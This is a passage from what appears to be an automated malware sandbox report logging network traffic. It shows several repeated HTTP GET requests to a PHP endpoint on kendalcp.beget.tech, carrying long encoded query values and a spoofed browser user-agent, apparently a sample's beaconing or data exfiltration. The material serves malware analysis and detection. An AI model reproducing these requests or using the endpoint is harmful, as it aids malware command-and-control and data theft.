Y1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI4QDZyYjMhNDNjhzMlhDM2E2N5IDNlN2Y0cDZyIjY0IjY2gTZzUjMyIiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&34a2de7b1a83a5e05a67f173acc3f19f=QX9JSOKNVT1FERYNGbYplcKhVWshnMZRXQYJmb4ZEW0kTbaxmSYF2RCNVWzh3VhZTOXR1Y4FzYsh3VhdkQTJGaKNjW2pESVNGes9ERKl2Tpd2RkhmQsl0cJlmYzkTbiJXNXZVavpWSvJFWZFlUtNmdOJzYwJ1aJNXSplkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWS5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPl2YtJGa4VlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRXpFMOxWSzl0UZJTSXlFdBR0TyklaOBTQql1N1MlZ3FERNdXQE10dBpGT4RzQNVXQ6VWavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI4QDZyYjMhNDNjhzMlhDM2E2N5IDNlN2Y0cDZyIjY0IjY2gTZzUjMyIiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0Yj